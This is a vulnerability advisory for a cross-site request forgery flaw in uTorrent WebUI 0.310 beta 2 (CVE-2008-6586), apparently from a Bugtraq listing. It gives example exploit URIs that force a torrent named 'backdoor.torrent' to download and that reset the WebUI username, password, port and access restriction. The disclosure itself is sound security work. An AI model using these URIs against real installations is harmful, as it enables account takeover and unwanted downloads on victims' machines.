uTorrent WebUI Cross-Site Request Forgery Vulnerability

BID:28847

Info

uTorrent WebUI Cross-Site Request Forgery Vulnerability

Bugtraq ID: 28847
Class: Design Error
CVE: CVE-2008-6586
Remote: Yes
Local: No
Published: Apr 18 2008 12:00AM
Updated: May 07 2015 05:29PM
Credit: th3.r00k
Vulnerable: uTorrent WebUI 0.310 beta 2
Not Vulnerable:

Discussion

uTorrent WebUI Cross-Site Request Forgery Vulnerability

uTorrent WebUI is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to execute arbitrary actions in the context of the affected application.

uTorrent WebUI 0.310 beta 2 is vulnerable; other versions may also be affected.

Exploit / POC

uTorrent WebUI Cross-Site Request Forgery Vulnerability

To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.

The following example URIs are available:

To force a file download:
http://www.example.com:8080/gui/?action=add-url&s=http://localhost/backdoor.torrent

To change administrative credentials and settings:
http://www.example.com:8080/gui/?action=setsetting&s=webui.username&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.password&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.port&v=4096 http://www.example.com:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1

Solution / Fix

uTorrent WebUI Cross-Site Request Forgery Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

uTorrent WebUI Cross-Site Request Forgery Vulnerability

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